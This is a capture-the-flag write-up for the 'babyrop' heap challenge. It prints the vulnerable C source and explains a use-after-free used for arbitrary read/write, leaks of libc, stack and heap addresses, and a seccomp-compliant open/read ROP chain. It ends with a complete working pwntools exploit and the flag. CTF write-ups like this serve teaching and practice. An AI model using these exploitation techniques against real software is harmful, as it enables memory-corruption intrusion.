babyrop
babyrop is a simple heap-use-after-free exploitation challenge in glibc 2.34, meaning no allocator hooks to be used as function pointers for PC control. We are also stuck w/ seccomp and can't /bin/sh.
Files
The Binary

Source Code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "seccomp-bpf.h"
void activate_seccomp()
{
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(mprotect),
ALLOW_SYSCALL(mmap),
ALLOW_SYSCALL(munmap),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(fstat),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(newfstatat),
ALLOW_SYSCALL(ioctl),
ALLOW_SYSCALL(lseek),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
// method 1, use macro
printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);
// method 2, use gnu_get_libc_version
puts(gnu_get_libc_version());
// method 3, use confstr function
char version[30] = {0};
confstr(_CS_GNU_LIBC_VERSION, version, 30);
puts(version);
return 0;
}
#define NUM_STRINGS 10
typedef struct {
size_t length;
char * string;
} safe_string;
safe_string * data_storage[NUM_STRINGS];
void read_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
for(size_t j = 0; j < ptr->length; ++j) {
fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
}
fprintf(stdout, "\n");
fflush(stdout);
}
void free_safe_string(int i) {
safe_string * ptr = data_storage[i];
free(ptr->string);
free(ptr);
}
void write_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "enter your string: ");
fflush(stdout);
read(STDIN_FILENO, ptr->string, ptr->length);
}
void create_safe_string(int i) {
safe_string * ptr = malloc(sizeof(safe_string));
fprintf(stdout, "How long is your safe_string: ");
fflush(stdout);
scanf("%zu", &ptr->length);
ptr->string = malloc(ptr->length);
data_storage[i] = ptr;
write_safe_string(i);
}
// flag.txt
int main() {
get_libc();
activate_seccomp();
int idx;
int c;
while(1){
fprintf(stdout, "enter your command: ");
fflush(stdout);
while((c = getchar()) == '\n' || c == '\r');
if(c == EOF) { return 0; }
fprintf(stdout, "enter your index: ");
fflush(stdout);
scanf("%u", &idx);
if((idx < 0) || (idx >= NUM_STRINGS)) {
fprintf(stdout, "index out of range: %d\n", idx);
fflush(stdout);
continue;
}
switch(c) {
case 'C':
create_safe_string(idx);
break;
case 'F':
free_safe_string(idx);
break;
case 'R':
read_safe_string(idx);
break;
case 'W':
write_safe_string(idx);
break;
case 'E':
return 0;
}
}
}
We are allowed to:
malloc chunks of controlled sizes
free the chunks we allocated
read data from them
write data to them
I started things off by creating some helpers to interact w/ the binary.
#!/usr/bin/env python2
from pwn import *
# Definitions
e = context.binary = ELF('./babyrop',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.terminal = ['terminator','-e']
context.log_level = 'DEBUG'
if args.REMOTE:
io = remote('mc.ax',31245)
else:
io = process(e.path)
def create(i,s,d=''):
io.sendlineafter(': ','C')
io.sendlineafter(': ',str(i))
io.sendlineafter(': ',str(s))
io.sendlineafter(': ',d)
def free(i):
io.sendlineafter(': ','F')
io.sendlineafter(': ',str(i))
def read(i):
io.sendlineafter(': ','R')
io.sendlineafter(': ',str(i))
def write(i,d):
io.sendlineafter(': ','W')
io.sendlineafter(': ', str(i))
io.sendlineafter(': ',d)
[...]
Use-after-free
There is a very obvious UAF in free_safe_string
, allowing us to read, write, free the chunks after they are already free.
void free_safe_string(int i) {
safe_string * ptr = data_storage[i];
free(ptr->string);
free(ptr);
}
The controlled chunks are tied to a metadata (safe_string
struct) chunk which is where the pointer to ther controlled chunks are stored, along with their respective sizes.
typedef struct {
size_t length;
char * string;
} safe_string;
The ideal scenario would be to abuse the UAF to overlap a safe_string
struct with a controlled chunk so we can manipulate the string pointer and length, pretty much given us straight up arb read/write.
This can be easily achieved with a correct sequence of allocations and deallocations as follows. (Keep in mind that the size of the safe_string
struct is 0x10
, considering the chunk size field and alignment, they go in the 0x20
caches).

First I allocate a string with the same size of the safe_string
structure and another string with a different size.

Then I free'd both of them, first the 0x20
string, then the 0x10
string. So now our tcache should look like this: (Consider that tcache is LIFO and also that each chunk has 8 bytes for size and is aligned to 0x10
).

Now we know for sure that our next 0x20
sized allocations (0x10
sized strings) will go in the A chunk and then B and C.

Then, if we allocate another 0x20
string we'll consume chunk A (safe_string
) and D (string
), which mean our next safe_string
will go in B and it's string chunk will go in C. Since C is the safe_string
of the second allocation and also the controllable string of the fourth allocation, when we edit the fourth allocated string we will be editing the lenght and pointer of the second one, constructing a very reliable arb read/write interface.
[...]
# Heap massage + UAF
create(0,0x10)
create(1,0x20)
free(1)
free(0)
create(2,0x20)
create(3,0x10)
[...]
Leaking Libc
Since PIE is off getting a libc leak is as easy as using our arb read to read 8 bytes of some GOT entry, I used puts.
[...]
def parse_leak(o=0):
io.recvline()
io.recv(1)
raw = io.recvline().split(' ')
leak = ''
for i in reversed(range(6)):
leak += raw[i]
return int(leak,16) - o
[...]
# Leak libc
write(3,p64(8)+p64(0x004031f0))
read(1)
libc.address = parse_leak(0x7a180)
log.success('Libc: ' + hex(libc.address))
[...]
Leaking Stack
Glibc 2.34 doesn't have free/malloc hooks, so we'll have to ROP to get PC control, to do that we can find the return address of some function and overwrite it with a rop chain, then have this function return. The easiest way to get a stack address in order to do that is using the environ
symbol from libc.
[...]
def parse_leak(o=0):
io.recvline()
io.recv(1)
raw = io.recvline().split(' ')
leak = ''
for i in reversed(range(6)):
leak += raw[i]
return int(leak,16) - o
[...]
# Leak stack
write(3,p64(8)+p64(libc.sym['environ']))
read(1)
ret_addr = parse_leak(0x160)
log.success('Ret addr: ' + hex(ret_addr))
[...]
Leaking Heap
Due to seccomp filters we won't be able to do an execve("/bin/sh",0,0)
rop chain, so we'll need to open
./flag.txt, read
the data from a file descriptor and retrieve that data. To do all that we need a memory segment that we can write to and read from, so we can store the "./flag.txt" string and also store the actual flag upon reading it. In this challenge we could use either .bss
(using arb read/write), or the heap. I chose to use the heap so I can later retrieve the flag using read_safe_string
during the rop chain.
[...]
def parse_leak(o=0):
io.recvline()
io.recv(1)
raw = io.recvline().split(' ')
leak = ''
for i in reversed(range(6)):
leak += raw[i]
return int(leak,16) - o
[...]
# Leak heap
create(4,0x60,'./flag.txt\x00')
write(3,p64(8)+p64(0x404060))
read(1)
flag_txt = parse_leak(-0x20)
log.success('./flag.txt: ' + hex(flag_txt))
[...]
ROP
The final rop consists in:
open("./flag.txt")
# ./flag.txt string is stored in the heapread(3, heap_addr, 0x60)
# ./flag.txt is in fd 3 since no other files are openedread_safe_string(4)
# print the item where the flag was written to
[...]
# ROP
write(3,p64(0x100)+p64(ret_addr))
rop = ROP(libc)
rop.call('open',[flag_txt,0])
rop.call('read',[3,flag_txt,0x60])
rop.rdi = 4
rop.raw(e.sym['read_safe_string'])
write(1,rop.chain())
# Trigger ROP
read(1)
[...]
Final Exploit
The program crashes shortly after showing the flag, so there is no point in fixing that ;)
#!/usr/bin/env python2
from pwn import *
# Definitions
e = context.binary = ELF('./babyrop',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.terminal = ['terminator','-e']
context.log_level = 'DEBUG'
if args.REMOTE:
io = remote('mc.ax',31245)
else:
io = process(e.path)
def create(i,s,d=''):
io.sendlineafter(': ','C')
io.sendlineafter(': ',str(i))
io.sendlineafter(': ',str(s))
io.sendlineafter(': ',d)
def free(i):
io.sendlineafter(': ','F')
io.sendlineafter(': ',str(i))
def read(i):
io.sendlineafter(': ','R')
io.sendlineafter(': ',str(i))
def write(i,d):
io.sendlineafter(': ','W')
io.sendlineafter(': ', str(i))
io.sendlineafter(': ',d)
# Exploit
def parse_leak(o=0):
io.recvline()
io.recv(1)
raw = io.recvline().split(' ')
leak = ''
for i in reversed(range(6)):
leak += raw[i]
return int(leak,16) - o
def pwn():
# Heap massage + UAF
create(0,0x10)
create(1,0x20)
free(1)
free(0)
create(2,0x20)
create(3,0x10)
# Leak libc
write(3,p64(8)+p64(0x004031f0))
read(1)
libc.address = parse_leak(0x7a180)
log.success('Libc: ' + hex(libc.address))
# Leak stack
write(3,p64(8)+p64(libc.sym['environ']))
read(1)
ret_addr = parse_leak(0x160)
log.success('Ret addr: ' + hex(ret_addr))
# Leak heap
create(4,0x60,'./flag.txt\x00')
write(3,p64(8)+p64(0x404060))
read(1)
flag_txt = parse_leak(-0x20)
log.success('./flag.txt: ' + hex(flag_txt))
# ROP
write(3,p64(0x100)+p64(ret_addr))
rop = ROP(libc)
rop.call('open',[flag_txt,0])
rop.call('read',[3,flag_txt,0x60])
rop.rdi = 4
rop.raw(e.sym['read_safe_string'])
write(1,rop.chain())
# Trigger ROP
read(1)
pwn()
io.interactive()


Flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}
Last updated
Was this helpful?